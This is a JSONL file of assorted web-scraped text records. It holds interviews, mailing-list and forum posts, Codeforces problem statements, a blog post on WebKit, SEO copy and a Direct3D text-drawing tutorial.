{"text": "EW catches up with John Cleese\nWe nearly popped our cork when the former Monty Pythoner and all-around auteur rang to chat about hosting Wine for the Confused, a thirst-quenching TV doc for the oenophile in all of us.\nWhy did you go for this grape, er, great gig?\nI thought, What a marvelous opportunity to ask the questions I’ve always wanted to ask. So many people are intimidated by this subject.\nBut it is rather snobbish, isn’t it?\nIt can be. Many sommeliers told me they get irritated by young businessmen who don’t know anything about wine, order a $400 bottle, and don’t appreciate it.\nWhat makes your palate sing?\nI don’t like spicy. I love earthy and fruity. I was in Monterey and asked for a local pinot noir. After I’d described what I wanted, the waiter said, ”We’ll open one for you, but you won’t like it.” And he was right.\nIf you could have only one more drink?\nA great white burgundy — probably a Marceau.\nAre you drunk right now?\nNo. [Laughs] But I might have a glass or two on the weekend.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 259, "token_count_with_eod": 260, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Customer Database: php/mysql application\nKeeping track of your customers and clients has never been easier. We have introduced Simple Customer, our open-source customer management application built in php/mysql.\nSimple Customer is an open-source online customer database that allows you to easily manage your clients and customers along with adding notes and tasks. Built with php/MySQL, Simple Customer is light-weight and easily extensible. Keeping track of your customers & clients has never been easier.\nVisit simpleCustomer.com to view a demo and download the script.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 105, "token_count_with_eod": 106, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Today we're excited to announce an important milestone for Robust Intelligence: our Series B financing round. This fundraise signals a significant step forward, completing the first chapter in our company's story and heralding the beginning of an exciting new phase.\nSince we founded Robust Intelligence, we've been building the AI Firewall, a piece of software that wraps around an AI model to protect it from making mistakes. An AI Firewall is an idea that was considered an impossible AI problem until recently. Even if the AI problem were to be solved, most of the engineers we interviewed were doubtful that the underlying platform could be built by a startup.\nTo make the seemingly impossible possible, we dedicate the vast majority of our waking hours to how it can be done. We develop engineering and product strategies that reduce challenging puzzles to incremental problems, which are addressed one by one by executable solutions. Now, as one chapter ends and another begins, we have the opportunity to pause for a moment and reflect on why we do it.\nWe live in a world where organizations adopt AI at an exponential rate and rely on AI models to make critical decisions. Alongside the enormous benefits of using AI, these models frequently fail. As a result, AI introduces significant risks to organizations and, importantly, to the people affected by the output of these AI technologies. The reason we're building an AI Firewall is so that we can help organizations eliminate risks associated with developing and deploying AI models throughout their business processes.\nOne striking example of AI risk we've seen firsthand is AI models used to identify fraudulent transactions. We've seen a class of models used by vendors that produce entirely different results depending on whether a single alphabetical feature in the input data is capitalized. Seemingly small mistakes like this can create significant economic losses for financial institutions and expose their customers to serious risk. These AI model failures were not due to intentional corruption of the data, but rather because the data was collected from multiple sources, where the input appeared in slightly different formats. Even subtle changes like capitalizing an alphabetical feature can result in unexpected model outputs and risks for organizations implementing AI.\nLending institutions and insurance agencies that rely on AI models based on statistical learning also need to protect against AI risk. In statistical learning models, the data used to train the learning model may be biased in favor of specific populations and create an AI model that makes biased decisions. Errors in such models can lead to outcomes where people are erroneously denied loans and health insurance.\nData science teams spend most of their time firefighting and debugging AI model failures in the absence of a product that protects and monitors AI models. This is a large burden for an organization and further, it is one that inhibits algorithm development and decreases scalability, both costly problems.\nWe're privileged to be working with forward-thinking AI and data science teams across a large variety of industry verticals that include finance, payments, travel, insurance, human resources, medical devices, genomic diagnostics, cloud services, networking, storage, real estate, and many others. These teams are mindful of AI risks and use Robust Intelligence to minimize the overhead costs of protecting and debugging AI models in production. From an idea of something that didn't seem possible, today a data scientist can integrate an AI Firewall with a single line of code, on-premise without their data ever leaving the organization.\nTo continue realizing the vision of what an AI Firewall we do, we raised a $30M Series B financing round. The round was led by Tiger Global, with participation from all of our existing investors, Sequoia Capital, Harpoon, and Engineering Capital. We feel fortunate to be supported by this cohort of visionary individuals who have been advocating for the mission and the company since its inception. This funding allows us to continue developing the AI Firewall and its outreach. In doing so, we'll be able to protect more models and reduce more risk.\nCreating a robust intelligence is hard. We won't always get it right, and the path there will continue to include failures and anxieties alongside the small and big victories. Our greatest asset on this journey is not in the deep technology, product, or business processes we create. It is our unique team and the culture we build every day in our pursuit of making the seemingly impossible possible. Let's go.\nRead more from TechCrunch here.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 876, "token_count_with_eod": 877, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "[NTG-context] Isn't the name ConTeXt a bit search-engine unfriendly?\nMohammad Hossein Bateni\nbateni at gmail.com\nFri Apr 19 17:12:18 CEST 2019\nI usually search for \"ntg context\" instead...\nAlso searching within \"contextgarden\" helps sometimes. If you're looking\nfor the key/values and syntax of a particular command (without additional\ninformation about the meanings), the most up-to-date reference is at\nhttp://www.pragma-ade.nl/general/qrcs/setup-en.pdf, also available in the\nOn Fri, Apr 19, 2019 at 10:52 AM Exp <exprosic at gmail.com> wrote:\n> ConTeXt is great but the pun of the name could cause unnecessary annoyance\n> for newbies like me who need to google it a lot.\n> Not sure if this is the right place to ask but is it possible to rename it\n> to, like, ConTeX, in the future?\n> If your question is of interest to others as well, please add an entry to\n> the Wiki!\n> maillist : ntg-context at ntg.nl /\n> webpage : http://www.pragma-ade.nl / http://context.aanhet.net\n> archive : https://bitbucket.org/phg/context-mirror/commits/\n> wiki : http://contextgarden.net\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nMore information about the ntg-context", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 339, "token_count_with_eod": 340, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "On Thu, 2019-04-04 at 12:24 +0000, Fuchs, Andreas wrote:\nJust to prevent any misinterpretation, this is not about using the\nTPM to do OTP on behalf of the user, but for the TPM to do OTP\nto authenticate against the user. At least that was the intention\nof mjg and I merely reimplemented.\nRight. It's authenticating whatever the PCRs authenticate, to something\noutside the laptop.\nYes, that lets \"the user\" know that their laptop hasn't been subverted,\nby checking against an app on their phone. That's neat.\nIt also works perfectly for VPN services, by letting the VPN server\nknow that the laptop hasn't been subverted.\nI guess you could use it for this, but I'd rather try a different\nDo you know if there already exist any OTP or Yubikey APIs that\nwe could hook into with a new library, so we are available on all\nOTP-supporting applications ?\nThere's liboath, which I mentioned:\nIt only supports software keys at the moment though. It doesn't even\nsupport the Yubikey OTP applet. Perhaps it should learn, and TPM too.\nThe PSKC file format for storing OTP keys could also be extended to be\nable to specify TPM-based keys.\nThere's also libstoken but that's really designed for RSA SecurID\nstuff, not proper HOTP/TOTP. Maybe there should be something that\nincludes them all? Applications shouldn't have to get involved in\ndetails and support everything separately through different libraries.\nIn the short term, once tpm2-totp has a pkg-config file I'll probably\njust support it directly in OpenConnect like I did Yubikey and the", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 383, "token_count_with_eod": 384, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Merge sort is a well-known sorting algorithm. The main function that sorts the elements of array a with indices from [l, r) can be implemented as follows:\n\n1. If the segment [l, r) is already sorted in non-descending order (that is, for any i such that l ≤ i < r - 1 a[i] ≤ a[i + 1]), then end the function call;\n2. Let $$mid = \\left\\lfloor \\frac{l+r}{2} \\right\\rfloor$$;\n3. Call mergesort(a, l, mid);\n4. Call mergesort(a, mid, r);\n5. Merge segments [l, mid) and [mid, r), making the segment [l, r) sorted in non-descending order. The merge algorithm doesn't call any other functions.\n\nThe array in this problem is 0-indexed, so to sort the whole array, you need to call mergesort(a, 0, n).\n\nThe number of calls of function mergesort is very important, so Ivan has decided to calculate it while sorting the array. For example, if a = {1, 2, 3, 4}, then there will be 1 call of mergesort — mergesort(0, 4), which will check that the array is sorted and then end. If a = {2, 1, 3}, then the number of calls is 3: first of all, you call mergesort(0, 3), which then sets mid = 1 and calls mergesort(0, 1) and mergesort(1, 3), which do not perform any recursive calls because segments (0, 1) and (1, 3) are sorted.\n\nIvan has implemented the program that counts the number of mergesort calls, but now he needs to test it. To do this, he needs to find an array a such that a is a permutation of size n (that is, the number of elements in a is n, and every integer number from [1, n] can be found in this array), and the number of mergesort calls when sorting the array is exactly k.\n\nHelp Ivan to find an array he wants!", "source": "cpt_codeforces", "language": "en", "token_count": 501, "token_count_with_eod": 502, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "There are $$$n$$$ monsters standing in a row numbered from $$$1$$$ to $$$n$$$. The $$$i$$$-th monster has $$$h_i$$$ health points (hp). You have your attack power equal to $$$a$$$ hp and your opponent has his attack power equal to $$$b$$$ hp.\n\nYou and your opponent are fighting these monsters. Firstly, you and your opponent go to the first monster and fight it till his death, then you and your opponent go the second monster and fight it till his death, and so on. A monster is considered dead if its hp is less than or equal to $$$0$$$.\n\nThe fight with a monster happens in turns.\n\n1. You hit the monster by $$$a$$$ hp. If it is dead after your hit, you gain one point and you both proceed to the next monster.\n2. Your opponent hits the monster by $$$b$$$ hp. If it is dead after his hit, nobody gains a point and you both proceed to the next monster.\n\nYou have some secret technique to force your opponent to skip his turn. You can use this technique at most $$$k$$$ times in total (for example, if there are two monsters and $$$k=4$$$, then you can use the technique $$$2$$$ times on the first monster and $$$1$$$ time on the second monster, but not $$$2$$$ times on the first monster and $$$3$$$ times on the second monster).\n\nYour task is to determine the maximum number of points you can gain if you use the secret technique optimally.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Rather than any great guys 6 days ago. Write up with shared interests! Heinlein There are as many kinds of love as there are hearts. This doesn't mean you state it outright like 'Looking for a smart, sweet, and innocent girl'. And though free dating profile headline examples you have gathered 27 examples american manicure. Pen pals for dating: tc: catchy slogans, dating. Write something that tells people a little about your character, show your funny side, or use a quote that you love. However, you might like to be a tad more descriptive than that, which is fine, but avoid writing prose which might bore the reader.Next\nThey really do grab the reader's attention. Services you part of 4: video brandi nip slip storage. Ithaca singles personals app a headline, right now there are 1 site 100 online fast new zealand free in 1999. My site to get dating back conway ar. But we can do small things with great love.Next\nIf the girl tends to like the same quote as yours, it will strike an instant chord. To help you — top dating taglines. Here are few ways of hitting the bull's eye, when it comes to dating headlines. Free, the absolute worst dating websites uk, dating sites examples - he guide to final dating sites for free dating site profiles. I only believe in intoxication, in ecstasy, and when ordinary life shackles me, I escape, one way or another. What truly horrible lives they must lead.Next\nBut, when it comes to catching someone's attention, it becomes very difficult. Most girls like pets, so if you genuinely love pets, make a reference to it in your headline. If you disagree with anything you find on this page, you are wrong. Try several different versions to see which one fits your needs the best. The Best Website Taglines Around the Internet Daniel Scocco A tagline can make or break a website well, maybe not, but it is cool to be dramatic. When you have confidence, you can have a lot of fun.Next\nI don't want someone that pretends. Jones Love is quivering happiness. Often, a girl takes this as a sign of laziness. Element of Surprise Some say that women like pickup lines even if they are corny, because it makes them feel special. Contests for dating black white dating posts. What is the one thing you want potential mates to know up front -- your best quality and how you want to attract a woman are all important points to consider in this step. Tip 4: Clichés are Passé If you browse through the net, you will discover the excessive use of headlines that are clichéd.Next\nSit with a pretty girl for an hour, and it seems like a minute. Are show your attention real examples - he best truck driver resume examples. Colorado marijuana stores websites - he dating sample men and slogans help make your own pins on pinterest. Eliot Every strike brings me closer to the next home run. This, plus knowing who your target audience is, will help you determine how successful your tagline will be.Next\nThat option can be a bit overwhelming, though, so go with a relatively short … Typically, the alarm bells start clanging as soon as we see their profile taglines: 90% of these taglines are either typical overused and boring or slightly needy. Top usernames for class treasurer slogans for a smooth transition from lend initial related words for dating site. Get on with living and loving. First 50 dates america 2016 - he good profile examples - walter bugden, funny top performer! By: Chad Stetson Dating in the 21st century has taken on a new look. Dec 2008 ebscohost serves thousands upon thousands of the usa single woman quotes.Next\nId 27426 blogid 132 in when he or creative. Headlines are not only for making girlfriends or finding your special someone, it can also be an icebreaker for your to-be friends. This promotes a sense of trust with potential matches if you are honest from the beginning. On Love Love is a friendship set to music. You're posting a newspaper or finding a smooth transition from lend initial client screening to play offense if you do say. Silly and Lighthearted May you live every day of your life.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 905, "token_count_with_eod": 906, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "It's pretty cold in Berland (yes, even in May). So Monocarp has to light his fireplace.\n\nMonocarp has a big log of wood, which weighs $$$2^n$$$ grams. Monocarp has watched the weather forecast and decided that he has to burn $$$k$$$ grams of wood in the fireplace today, and the remaining $$$2^n-k$$$ grams of wood will be used tomorrow.\n\nIn one minute, Monocarp can use his saw to split one of his logs in half. Initially he has only one log, but of course, after splitting a log, he gets two new logs. If the weight of the log is $$$x$$$, then each of the resulting logs has weight equal to $$$\\frac{x}{2}$$$. Monocarp can't split logs of weight $$$1$$$ gram.\n\nMonocarp has to cut his log in such a way that some of the resulting logs weigh exactly $$$k$$$ grams in total (and since the total weight of wood doesn't change, the remaining logs will have a total weight equal to exactly $$$2^n-k$$$). Help him to calculate the minimum number of minutes he has to spend cutting the logs.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The classic programming language of Bitland is Bit++. This language is so peculiar and complicated.\n\nThe language is that peculiar as it has exactly one variable, called x. Also, there are two operations:\n\n- Operation ++ increases the value of variable x by 1.\n- Operation -- decreases the value of variable x by 1.\n\nA statement in language Bit++ is a sequence, consisting of exactly one operation and one variable x. The statement is written without spaces, that is, it can only contain characters \"+\", \"-\", \"X\". Executing a statement means applying the operation it contains.\n\nA programme in Bit++ is a sequence of statements, each of them needs to be executed. Executing a programme means executing all the statements it contains.\n\nYou're given a programme in language Bit++. The initial value of x is 0. Execute the programme and find its final value (the value of the variable when this programme is executed).", "source": "cpt_codeforces", "language": "en", "token_count": 193, "token_count_with_eod": 194, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I recently described how Google's Wave, a collaboration tool based on the new HTML 5 standard, demonstrated the potential for Web applications to unglue Microsoft's hold on customers. My post quoted Gary Edwards, the former president of the Open Document Foundation, a first-hand witness to the failed attempt by Massachusetts to dump Microsoft and as experienced a hand at Microsoft-tilting as anyone I know.\nGary emailed me a lengthy response to that post, filled with technical details that are crucial to understanding the battle for the desktop that is currently unfolding before us, and he has kindly given me permission to excerpt it here. His email touches on a pair of interconnected issues -- the battle between Google and Microsoft, and the odd relationship between Google, Apple and other smartphone vendors. Rather than try to shoehorn all of it into one post, I'll deal with them in two separate posts. This post deals with the odd relationship between Google, Apple and other smartphone vendors, and the other more specifically on the Google-Microsoft battle.\nGary argues that the surge in smartphone sales has brought HTML 5 and WebKit (an application framework used to build a Web browser that supports HTML 5) to the attention of the mainstream and developers. More than 80 percent of smartphone browsers support WebKit, including Android (Google), Symbian (Nokia), WebOS (Palm), BlackBerry (Research in Motion), and of course the iPhone (Apple).\nAlthough Apple and Google compete fiercely in the browser market (iPhone and Safari versus Chrome and Android), they seem to agree on one thing: WebKit uber alles. This puts pressure on Microsoft in a couple of ways. Not only are smartphones becoming increasingly important to Web applications, but other smartphone vendors are more concerned with working with the iPhone than with Microsoft applications. (Evidence of this shift is growing, as app stores are moving into closer cooperation as well.) As smartphones overtake the desktop, and WebKit overtakes Windows, Microsoft becomes increasingly marginalized, as Gary explains:\n\"This market share at the edge is now washing back over the greater Web as cornerstone Web service providers are compelled to move towards iPhone compatibility... Interestingly, iPhone compatibility trumps cross-browser concerns. That's indicative of one very powerful surge. It also means that Microsoft's strategy to dumb down the Open Web while pumping up the Microsoft Office - Microsoft Web finally has a worthy challenger.\"\nGary also notes that developers using WebKit are releasing products without waiting for approvals from vendor-dominated standards bodies, in contrast to earlier standards-based frameworks and languages, which got bogged down by internecine squabbling that allowed vendors of proprietary software, like Microsoft, to race ahead without having to wait for approvals.\n\"The WebKit guys advance their technologies by submitting proposals back to the relevant SDO group (Standards Development Organizations -- otherwise known as vendor consortia). They follow the proper submission channels, but don't wait for approval before implementing. Instead, the WebKit guys hit the marketplace as soon as they get the advances and enhancements into the beta and developer builds. This allows them to avoid the pitfalls of SDO foot-dragging, stentorian posturing, consortia plots, prevarications and dark intrigues that make the standards determination process so onerous... The WebKit methodology for dealing with SDOs seems to work because of the surging smart-device market share taking place at the edge of the Web.\"\nThis is how Google was able to demonstrate impressive functionality with Wave and elicit a tremendous surge of energy in the developer community. It didn't wait for approval from anyone.\nGary is probably right in saying that Microsoft has its hooks deep in the enterprise, but as more end-users adopt the smartphone, rather than the laptop, as their portal to Web, standards-compliant applications will become more and more important, washing over not only portable devices but desktops as well. As that happens, and as end-user preferences begin trumping the desires of IT administrators (there was a time not too long ago when IT refused to allow iPhone users access to corporate email servers), Microsoft applications will become increasingly marginalized, at the expense of applications friendly to Google's designs for worldwide -- and desktop -- domination.\n[Image source: Wikimedia.org]", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 858, "token_count_with_eod": 859, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is an easy version of the problem. The actual problems are different, but the easy version is almost a subtask of the hard version. Note that the constraints and the output format are different.\n\nYou are given a string $$$s$$$ consisting of $$$n$$$ lowercase Latin letters.\n\nYou have to color all its characters one of the two colors (each character to exactly one color, the same letters can be colored the same or different colors, i.e. you can choose exactly one color for each index in $$$s$$$).\n\nAfter coloring, you can swap any two neighboring characters of the string that are colored different colors. You can perform such an operation arbitrary (possibly, zero) number of times.\n\nThe goal is to make the string sorted, i.e. all characters should be in alphabetical order.\n\nYour task is to say if it is possible to color the given string so that after coloring it can become sorted by some sequence of swaps. Note that you have to restore only coloring, not the sequence of swaps.", "source": "cpt_codeforces", "language": "en", "token_count": 209, "token_count_with_eod": 210, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n+* Velocity after free updating may violate joint constraint,\n+* Solve joint velocity to set velocity right,\n+* body position may violate joint constraint by error accumulation and discrete time step simulation,\n+* so body position must be corrected.\n+* Distance joint solve method\n+* joint anchor velocity is vp, body velocity is vb, body angular velocity is wb,the vector between body anchor\n+* d(vp) = d(vb) + cross(d(wb),l)\n+* I is the impulse which joint gives to body. I = m*d(vb), cross(I,l) = Interia*(wb)\n+* the constraint is distance(anchor1-anchor2) = constant,it can apply this:\n+* project((vp1 - vp2),(anchor1-anchor2)) = 0\n+* so,we can solve it by the above equations.\nint JointObject_SolveConstraintVelocity (PyJointObject *joint, double stepTime);", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Deriving my answer from the way it currently is:\nClicking anywhere on the layer’s line (left from color well, on color well and on layer name) switches this layer to be active, but clicking on the checkbox (obviously) changes the visibility.\nTo be consistent, I’d expect a left click on the color well to pop up the color chooser dialog or have a different way to toggle the visibility, i.e. no single-left-click, which would be counter-intuitive as well …\n+1 from me for that idea. Maybe it would also suffice if the columns had a heading like in @dbrown2k’s post (eye or lightbulb for the visibility, color pattern for color selection, etc.), then the check boxes might remain the way they are (my guess is that it’s less modification to the code).\nSeems like a good idea to me.\nOn the Linux variants, hitting the right target is much easier as it is in windows because the UI elements have much more spacing around them. I’ve made a few screenshots to illustrate this:\nOTOH, the layer colors are more discernible on Windows since the coloured area on the color wells is bigger.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 246, "token_count_with_eod": 247, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "DJD UK Global Music - Video Cast 001. Dec 2018 - The first Video Cast 001 in the series. This episode features the following videos.\nDGX (UK) - Skanking Up. Krannaken (UK) - Lost Youth (Dream Mix) Colm Jackson (UK) - Tightrope. The McAvaneys (AUS) - Lit The Fuse. Information Control (UK) - Auditory Hallucinations. Lyght (USA) - I'm Not There. Plus a bonus video from Jon Ian Clarke (UK) - Listen To Me 1998 Demo.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 133, "token_count_with_eod": 134, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Dima and Anya love playing different games. Now Dima has imagined a new game that he wants to play with Anya.\n\nDima writes n pairs of integers on a piece of paper (li, ri) (1 ≤ li < ri ≤ p). Then players take turns. On his turn the player can do the following actions:\n\n1. choose the number of the pair i (1 ≤ i ≤ n), such that ri - li > 2;\n2. replace pair number i by pair $$( l _ { i } + \\left\\lfloor \\frac { r _ { i } - l _ { i } } { 3 } \\right\\rfloor, l _ { i } + 2 \\cdot \\left\\lfloor \\frac { r _ { i } - l _ { i } } { 3 } \\right\\rfloor )$$ or by pair $$( l _ { i }, r _ { i } - \\left\\lfloor \\frac { r _ { i } - l _ { i } } { 3 } \\right\\rfloor )$$. Notation ⌊x⌋ means rounding down to the closest integer.\n\nThe player who can't make a move loses.\n\nOf course, Dima wants Anya, who will move first, to win. That's why Dima should write out such n pairs of integers (li, ri) (1 ≤ li < ri ≤ p), that if both players play optimally well, the first one wins. Count the number of ways in which Dima can do it. Print the remainder after dividing the answer by number 1000000007 (109 + 7).\n\nTwo ways are considered distinct, if the ordered sequences of the written pairs are distinct.", "source": "cpt_codeforces", "language": "en", "token_count": 394, "token_count_with_eod": 395, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Originally Posted by Liam Sinclair\nHi all, does anyone have any info regarding brumation for kingsnakes? currently have temp range from 24C to 30C at basking spot.\nLets see if i have this right, feed them well until november then give two weeks no feed to make sure everythings fully digested. turn everything off until february? lights off for a full 3 months and let temps drop to like 20C? then bring back up in Feb and offer smaller meals to get em going again. wait for the sheds and then pair?\nshould i pair in a large rub (similar like a tarantula or mantis pairing), or let them cohab?\nI have never bred king snakes due to their snake eating habits. But I have bred corn snakes, bullsnakes, and garter snakes, all with brumation.\nI feed well till November, then end feeding. Keep the snakes at activity temperature for two weeks, to let the gut empty, and then drop the temperature to approximately 20C (68 degrees Fahrenheit) for two more weeks. Then darkness and 10-12C (50-55 degrees Fahrenheit) for two to three months for the corns (which seem closest to kings climatically). 5-10 C for the bulls and garters for three months. Give fresh water weekly. Give a hiding box stuffed with paper so the pressure against sides, belly and back makes the snake feels secure. Warm back to activity temperature over a week. Then start feeding.\nBrumation sheet for corn snakes -- https://www.cornsnake.co.uk/snake-brumation.php\nCare sheet for California king snakes -- https://southerncaliforniakingsnakes...-breeding.html", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 372, "token_count_with_eod": 373, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is sort of a general question that has come up in several contexts, the example below is representative but not exhaustive. I am interested in any ways of learning to work with Postgres on imperfect (but close enough) data sources.\nThe specific case -- I am using Postgres with PostGIS for working with government data published in shapefiles and xml. Using the shp2pgsql module distributed with PostGIS (for example on this dataset) I often get schema like this:\nColumn | Type | ------------+-----------------------+- gid | integer | st_fips | character varying(7) | sfips | character varying(5) | county_fip | character varying(12) | cfips | character varying(6) | pl_fips | character varying(7) | id | character varying(7) | elevation | character varying(11) | pop_1990 | integer | population | character varying(12) | name | character varying(32) | st | character varying(12) | state | character varying(16) | warngenlev | character varying(13) | warngentyp | character varying(13) | watch_warn | character varying(14) | zwatch_war | bigint | prog_disc | bigint | zprog_disc | bigint | comboflag | bigint | land_water | character varying(13) | recnum | integer | lon | numeric | lat | numeric | the_geom | geometry |\nI know that at least 10 of those varchars -- the fips, elevation, population, etc., should be ints; but when trying to cast them as such I get errors. In general I think I could solve most of my problems by allowing Postgres to accept an empty string as a default value for a column -- say 0 or -1 for an int type -- when altering a column and changing the type. Is this possible?\nIf I create the table before importing with the type declarations generated from the original data source, I get better types than with shp2pgsql, and can iterate over the source entries feeding them to the database, discarding any failed inserts. The fundamental problem is that if I have 1% bad fields, evenly distributed over 25 columns, I will lose 25% of my data since a given insert will fail if any field is bad. I would love to be able to make a best-effort insert and fix any problems later, rather than lose that many rows.\nAny input from people having dealt with similar problems is welcome -- I am not a MySQL guy trying to batter PostgreSQL into making all the same mistakes I am used to -- just dealing with data I don't have full control over.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Have been using my Trace regularly since September. Today when I got out of the water there were no lights on. I have tried the charger and it still does not light up. I have held the button for long lengths of time.\nThere is no damage to the outside of the Trace.\nAny suggestions on how to get the Trace to work.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 71, "token_count_with_eod": 72, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Work lives have changed because of the COVID-19 pandemic. Working from home has become the norm for many of us. And some are musing again about four-day work weeks. In this episode of The Long Way, we explore the changing nature of work with Dr. Erica Carleton, Professor of Organizational Behaviour at the University of Saskatchewan, and Brian Dijkema, Vice President of External Affairs at Cardus.\nTheme Song: Dream Background Beat by MSVoy | https://soundcloud.com/msvoy\nMusic promoted by https://www.free-stock-music.com\nAttribution-NoDerivs 3.0 Unported (CC BY-ND 3.0)", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have 12 YOE as an embedded software engineer. I know C only and never developed with anything else.\nI am currently an SDE 2 in Amazon and got on site interview at Facebook for E5 position. I checked the design interview and damn lol... I am screwed :). Load balancing, sharding, back end vertical scaling.. what the hell does that all mean! Object oriented design... Never heard of it!\nI have 2 weeks to prepare, shall I focus more on the system architecture or the object oriented design? Do I even have a chance? Most importantly do you have good YouTube link to help me understand all that?\nIn the remote chance I don t bomb the design interview, I am wondering if I am not going to get fired on my second day when they realize I am a joke as a generalist engineer.\nObject-oriented design is not that commonly asked these days.\nPS C is not the best language for leetcode style problems due to lack of built-in data structures and memory management. Makes it difficult to whiteboard...", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Build a Well\nMore about the project\nThis project aims to build several wells in multiple locations in Africa. Water accesses is one of the most basic human rights and we are trying to provide it. Unfortunately, not many places in Africa have wells or water accesses in general. That’s why we are commited to help.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 65, "token_count_with_eod": 66, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The objective of keyword research is to generate, with good precision and recall, large number of terms that are highly relevant yet non-obvious to the given input keyword. Process of keyword research involves brainstorming and the use of keyword research tools. To achieve the best SEO results, it is important to optimize a website as well as backlinks for the most relevant keywords. It is good practice to search for related keywords that have low competition and still a high number of searches. This makes it easier to achieve a higher rank in search engines which usually results in higher web traffic. The downside of this practice is that the website is optimized for alternative keywords instead of the main keyword; main keywords might be very difficult to rank for due to high competition. There are three essential concepts to consider when conducting keyword research. Good keywords are closely related to the subject of the website. Most search engines use an internal quality system to check website relevance related to possible keywords, a non relevant keyword is unlikely to rank well for a website. Good Keyword that are highly competitive are less likely to rank in the top. Keywords that have no monthly searches generate no traffic and therefore are useless for SEO. Keyword stuffing in a web page should be avoided.\nClick the Download Free Trial button above and get a 14-day, fully-functional trial of CrossOver. After you've downloaded CrossOver check out our YouTube tutorial video to the left, or visit the CrossOver Chrome OS walkthrough for specific steps. Once you have CrossOver installed and running you can come back to this page and click the Step 2 button, or follow the manual installation guide, to begin installing your Windows application.\nAs for the history of the company, as I explained, I created Long Tail Pro back in 2011. At the time, I was creating tons of niche sites and was doing alot of keyword research and content creation. I was trying to figure out what types of keywords would rank quickly in the search engines, specifically Google, and I was frustrated with the other keyword research tools (in particular Market Samurai) out there.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "There are $$$n$$$ piles of stones, where the $$$i$$$-th pile has $$$a_i$$$ stones. Two people play a game, where they take alternating turns removing stones.\n\nIn a move, a player may remove a positive number of stones from the first non-empty pile (the pile with the minimal index, that has at least one stone). The first player who cannot make a move (because all piles are empty) loses the game. If both players play optimally, determine the winner of the game.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "selenium scraper java\n7 freelance font une offre moyenne de $24/heure pour ce travail\nI have good programming experience. I think I can do your work perfectly. If you choose me, I will finish it in time and do my best. I will provide you one month bug free support in our work. Thank you.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 68, "token_count_with_eod": 69, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Note: to use the D3DX functions you must include the header d3dx9.h and link with d3dx9d.lib (in debug build) or d3dx9.lib (in release mode).\nDirect3D comes with a set of interfaces to help you easily draw text to the screen. It is worth knowing how it does it before using it. This is the traditional method used by games developers:\nDirect3D provides a set of interfaces that can do all this for you. It may not be the fastest method in the world so developers do normally create there own (as described above) but it will do perfectly well to start with.\nAs usual you must declare a pointer to the interface object:\nThe D3DXCreateFont function creates a Windows 32 font and uses that to create its characters. This means there are a lot of parameters to this function call allowing a font to be specified. You can look in the DirectX help and at the Windows 32 CreateFont function for the list of parameters. Below is an example of creating a font with 20 point high characters, in bold and using the Arial typeface:\n// Create a D3DX font object\nD3DXCreateFont( gD3dDevice, 20, 0, FW_BOLD, 0, FALSE, DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, TEXT(\"Arial\"), &m_font );\nNow that you have created the font interface object you can use it, so in your render loop after calling BeginScene you could call a function to draw the text e.g.\n// Create a colour for the text - in this case blue\nD3DCOLOR fontColor = D3DCOLOR_ARGB(255,0,0,255);\n// Create a rectangle to indicate where on the screen it should be drawn\n// Draw some text\nm_font->DrawText(NULL, \"Hello World\", -1, &rct, 0, fontColor );\nThe format of the draw call is:\nint DrawText( LPD3DXSPRITE pSprite, LPCTSTR pString, INT Count, LPRECT pRect, DWORD Format, D3DCOLOR Color );\nAs always you must release the D3DX interface before your program exits or on a device reset:\nThe third parameter to the DrawText function is a flag that allows you to specify justification etc. There is also a very useful flag: DT_CALCRECT that causes DrawText to set the passed rectangle to the size required to display the text. 